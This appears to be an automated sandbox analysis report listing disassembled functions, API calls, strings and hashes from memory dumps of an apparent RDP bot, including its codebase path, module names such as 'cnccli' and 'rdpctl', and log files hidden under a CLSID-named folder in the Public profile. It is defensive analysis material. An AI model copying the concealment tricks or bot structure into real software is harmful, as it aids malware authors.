pkg, xrefs: 00007FF6BE038296

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen
String ID: .applied$????-pat$pkg$tch.pkg$update.p
API String ID: 39653677-1686225151
Opcode ID: 991dd80c700aa1ae76ec81c81c963b3872b3b5c0a8959d8b97ae4b1278808ee7
Instruction ID: d6060e327527507955775ac298ce42d30f8dca50aa94c2607e2882025dfe5ea7
Opcode Fuzzy Hash: 991dd80c700aa1ae76ec81c81c963b3872b3b5c0a8959d8b97ae4b1278808ee7
Instruction Fuzzy Hash: 6C21BF12A0CF4285FB355A2EA914B7E56919B7D7C8F084170FB4E9B3D2DE2CE8718350

Function 00007FF8BA4F1292 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8BA4F133E
fflush.MSVCRT ref: 00007FF8BA4F134A
EnterCriticalSection.KERNEL32 ref: 00007FF8BA4F1363
LeaveCriticalSection.KERNEL32 ref: 00007FF8BA4F138B
CopyFileA.KERNEL32 ref: 00007FF8BA4F13E8

Strings

., xrefs: 00007FF8BA4F13CD
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log, xrefs: 00007FF8BA4F13AB
1, xrefs: 00007FF8BA4F13D2

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log
API String ID: 513531256-2601447032
Opcode ID: 1a7e9c9ec7bae933ecc4019bc3fe970f4cd41a9ad4663795c4800373867ad189
Instruction ID: 48ae292735d9fc679e6925ffdb90221cac906dd5d8ed1525729790f77bb759b6
Opcode Fuzzy Hash: 1a7e9c9ec7bae933ecc4019bc3fe970f4cd41a9ad4663795c4800373867ad189
Instruction Fuzzy Hash: 7E415E61A0C681C6F3309B9DECA43A92261BB9B7C4F4400B6DF4D87AA5CF2DE6458700

Function 00007FF8B9151292 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8B915133E
fflush.MSVCRT ref: 00007FF8B915134A
EnterCriticalSection.KERNEL32 ref: 00007FF8B9151363
LeaveCriticalSection.KERNEL32 ref: 00007FF8B915138B
CopyFileA.KERNEL32 ref: 00007FF8B91513E8

Strings

., xrefs: 00007FF8B91513CD
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log, xrefs: 00007FF8B91513AB
1, xrefs: 00007FF8B91513D2

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log
API String ID: 513531256-2115573132
Opcode ID: 5c96a4841fcf32cb0990ea46f84c34129a0b230b4ef58bcda0142fca1c46c413
Instruction ID: e53a5fb9558cbbbc1d3acd7d4ae9cdab037c85f043cb7140463db60464642fe5
Opcode Fuzzy Hash: 5c96a4841fcf32cb0990ea46f84c34129a0b230b4ef58bcda0142fca1c46c413
Instruction Fuzzy Hash: 03417E75E0D6C286F322AF19E8643B96361AB897C0F444031DB4D87B95CF7CE586E740

Function 00007FF8B9181292 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8B918133E
fflush.MSVCRT ref: 00007FF8B918134A
EnterCriticalSection.KERNEL32 ref: 00007FF8B9181363
LeaveCriticalSection.KERNEL32 ref: 00007FF8B918138B
CopyFileA.KERNEL32 ref: 00007FF8B91813E8

Strings

1, xrefs: 00007FF8B91813D2
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log, xrefs: 00007FF8B91813AB
., xrefs: 00007FF8B91813CD

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log
API String ID: 513531256-1022500615
Opcode ID: 6d63ff14d14e77d7d9893b7cf131dd796ece7ae35e9587e97000a2984af39abb
Instruction ID: 15cc3d0b5a60226fdfc4e58b4d97cdd2c4676b62474891348f41eafe1da1afa4
Opcode Fuzzy Hash: 6d63ff14d14e77d7d9893b7cf131dd796ece7ae35e9587e97000a2984af39abb
Instruction Fuzzy Hash: F4418B62A0C6C186F3209F19E8503F963A4FB9A7D0F854130DB0D57B96DF3DE986A704

Function 00007FF8BFB52FD2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8BFB5307E
fflush.MSVCRT ref: 00007FF8BFB5308A
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB530A3
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB530CB
CopyFileA.KERNEL32 ref: 00007FF8BFB53128

Strings

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log, xrefs: 00007FF8BFB530EB
., xrefs: 00007FF8BFB5310D
1, xrefs: 00007FF8BFB53112

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log
API String ID: 513531256-2729875187
Opcode ID: b0e16de90528dddbaa36a4a9c88e4def37decd2482aa2aa138530108e3277cd1
Instruction ID: 192698b790a3d7501eb2b4f62925a19198bc1222833894718abd5b71bfc7802f
Opcode Fuzzy Hash: b0e16de90528dddbaa36a4a9c88e4def37decd2482aa2aa138530108e3277cd1
Instruction Fuzzy Hash: 64418F72A0C641A6F7209BDDE8643BAB761BB887C4F484031DB4D83795DF3CE5898740

Function 00007FF8BFB3A202 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8BFB3A2AE
fflush.MSVCRT ref: 00007FF8BFB3A2BA
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB3A2D3
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB3A2FB
CopyFileA.KERNEL32 ref: 00007FF8BFB3A358

Strings

., xrefs: 00007FF8BFB3A33D
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log, xrefs: 00007FF8BFB3A31B
1, xrefs: 00007FF8BFB3A342

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log
API String ID: 513531256-1680544107
Opcode ID: ef29e44cde9033f20ab4b5173c77ea9af5470e879b81eafeed9fc3cb8f1e3a96
Instruction ID: 62b23c8210b6e5dcf77844c9e77a2b4ca0a6dae22ac9b611cc26dcf38094468e
Opcode Fuzzy Hash: ef29e44cde9033f20ab4b5173c77ea9af5470e879b81eafeed9fc3cb8f1e3a96
Instruction Fuzzy Hash: E1419E31A8C64286F320EB99E9647BA6364FB857C0F944131EB4D47B96CF3CE685C740

Function 00007FF8BFB81292 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8BFB8133E
fflush.MSVCRT ref: 00007FF8BFB8134A
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB81363
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB8138B
CopyFileA.KERNEL32 ref: 00007FF8BFB813E8

Strings

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log, xrefs: 00007FF8BFB813AB
., xrefs: 00007FF8BFB813CD
1, xrefs: 00007FF8BFB813D2

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log
API String ID: 513531256-3034662401
Opcode ID: 48f2d0586bcf9582210c7769f526a14f8a933ced909767e9bd83258acf42f857
Instruction ID: 35fe09fd5ab75f8f0947a13e1b2c85f5956fca94ccb25f00d5fd60c10542b033
Opcode Fuzzy Hash: 48f2d0586bcf9582210c7769f526a14f8a933ced909767e9bd83258acf42f857
Instruction Fuzzy Hash: E0416F21A0D68286F3219B99E8553FA73A1FB897C0F448035DB4D97B96CF3CE985C740

Function 00007FF8BFB8C780 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 70COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB8C81E
_errno.MSVCRT ref: 00007FF8BFB8C83C
_errno.MSVCRT ref: 00007FF8BFB8C844

Strings

[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB8C86C
(value != NULL), xrefs: 00007FF8BFB8C7F6
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8C804
ini_get_uint16, xrefs: 00007FF8BFB8C7FD, 00007FF8BFB8C865
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8C7EF

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint16
API String ID: 2918714741-1951032453
Opcode ID: a5ca9b0bf9b3be9852da4ba323c51029fd9cf6fcbeba48dbf9b72e0c84d279d6
Instruction ID: e21125e88ac6f15d7a7162140a449020367fbe9ab2483713d00ba015a0b2b830
Opcode Fuzzy Hash: a5ca9b0bf9b3be9852da4ba323c51029fd9cf6fcbeba48dbf9b72e0c84d279d6
Instruction Fuzzy Hash: 26219266A0964792E7119F99E840BAA7760BB847D4F448032EF4C47BA6DF3CE845C700

Function 00007FF8BFB8C900 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB8C99A
_errno.MSVCRT ref: 00007FF8BFB8C9B8
_errno.MSVCRT ref: 00007FF8BFB8C9C4

Strings

[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB8C9EB
(value != NULL), xrefs: 00007FF8BFB8C972
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8C980
ini_get_uint32, xrefs: 00007FF8BFB8C979, 00007FF8BFB8C9E4
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8C96B

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint32
API String ID: 2918714741-719680006
Opcode ID: a242bb18889e0c0625166b0c1d0e8931bd7771407aa4d943679f1e3ef64d3bc1
Instruction ID: 81e7acbe6276570ffdadcceb78e253ecb891e58cf5bb9b1173ad15bdb73e6d96
Opcode Fuzzy Hash: a242bb18889e0c0625166b0c1d0e8931bd7771407aa4d943679f1e3ef64d3bc1
Instruction Fuzzy Hash: 4B2192A2A0968696E7519FADFC407AA3360FB847D4F848032EF4C47A95DF3DE885C700

Function 00007FF6BE0330B1 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00007FF6BE03314F
GetLastError.KERNEL32 ref: 00007FF6BE03316A

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x), xrefs: 00007FF6BE033125
NULL, xrefs: 00007FF6BE0332AD, 00007FF6BE0332B9
[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d), xrefs: 00007FF6BE0332D6
fs_file_copy, xrefs: 00007FF6BE03311E, 00007FF6BE033181, 00007FF6BE0332CF
[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu), xrefs: 00007FF6BE033188

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CopyErrorFileLastfflushfwrite
String ID: NULL$[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu)$[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d)$fs_file_copy
API String ID: 2887799713-3464183404
Opcode ID: fb76c954d88b9053ab83afff5c59a0901bb37d9f6299ae46d9521e7db8808081
Instruction ID: 0b40197dd596c0941ebe135bedfb6dbff91e011903937a1346c78e12f90e19e5
Opcode Fuzzy Hash: fb76c954d88b9053ab83afff5c59a0901bb37d9f6299ae46d9521e7db8808081
Instruction Fuzzy Hash: FF418561E0CA1781F6304A8E9580B7965607F38BCAF544933FB2FC7690EE6DE661C301

Function 00007FF6BE032AE5 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?,?,?,00007FF6BE033833), ref: 00007FF6BE032AFC
GetLastError.KERNEL32 ref: 00007FF6BE032B53

Strings

[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu), xrefs: 00007FF6BE032B68
NULL, xrefs: 00007FF6BE032C82
fs_file_delete, xrefs: 00007FF6BE032B35, 00007FF6BE032B61, 00007FF6BE032C91
[I] (%s) -> Done(path=%s), xrefs: 00007FF6BE032C98
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032B3C

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID: NULL$[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[I] (%s) -> Done(path=%s)$fs_file_delete
API String ID: 2018770650-4119452840
Opcode ID: 4c36aa7f3b25613b573234c00697934ff3ebae5c5bc87abfb6daebd341cfa17f
Instruction ID: ce1595fe91266c2d9653f22db43a222632bbd20b43f29a7cc1e501b66b710605
Opcode Fuzzy Hash: 4c36aa7f3b25613b573234c00697934ff3ebae5c5bc87abfb6daebd341cfa17f
Instruction Fuzzy Hash: A2311A51F1C20B82FA30AB0DA560BB921659F7C794F144832FB1ECB291ED2CBDB59342

Function 00007FF8BFB31CBD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 66networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF8BFB31D0B
WSAGetLastError.WS2_32 ref: 00007FF8BFB31D1A

Strings

tcp_send, xrefs: 00007FF8BFB31D26, 00007FF8BFB31D57
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB31D7E
tcp_recv, xrefs: 00007FF8BFB31D77
[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB31D2D
[E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d), xrefs: 00007FF8BFB31D5E

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: ErrorLastsend
String ID: [E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d)$tcp_recv$tcp_send
API String ID: 1802528911-690514478
Opcode ID: 393cc4d55ed95309d327a289b224e54295f4c57547dcd5b235bd5891c8381aac
Instruction ID: 6697be577d3731c10e596c78ec9d2979261c823488febe5b65ac3e8ee5428bd4
Opcode Fuzzy Hash: 393cc4d55ed95309d327a289b224e54295f4c57547dcd5b235bd5891c8381aac
Instruction Fuzzy Hash: AA21C055FC851341FA208FADAE806B85355AF06BF0F544331DF3D5BAE5DE2CA9458300

Function 00007FF8BFB8219D Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 66networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF8BFB821EB
WSAGetLastError.WS2_32 ref: 00007FF8BFB821FA

Strings

[E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d), xrefs: 00007FF8BFB8223E
tcp_recv, xrefs: 00007FF8BFB82257
tcp_send, xrefs: 00007FF8BFB82206, 00007FF8BFB82237
[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB8220D
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB8225E

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastsend
String ID: [E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d)$tcp_recv$tcp_send
API String ID: 1802528911-690514478
Opcode ID: e8ba87babdc92bbe2a7f32843d88da73179fa1b60c34bd879e4ec4185fda7202
Instruction ID: d54c172bcc8366aaa6b0cd1f63937d0d8bcf20c985ed33fb8fe988ef89450408
Opcode Fuzzy Hash: e8ba87babdc92bbe2a7f32843d88da73179fa1b60c34bd879e4ec4185fda7202
Instruction Fuzzy Hash: 9F21AE61B1854381EA206FEDB980AF86781AF967F4F549331DF3C87AE6DE2DA545C300

Function 00007FF8BA4F2154 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BA4F217C
setsockopt.WS2_32 ref: 00007FF8BA4F21A8
WSAGetLastError.WS2_32 ref: 00007FF8BA4F21BF
WSAGetLastError.WS2_32 ref: 00007FF8BA4F21E4

Strings

[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BA4F21D6
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BA4F21FB
tcp_set_timeo, xrefs: 00007FF8BA4F21CF, 00007FF8BA4F21F4

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
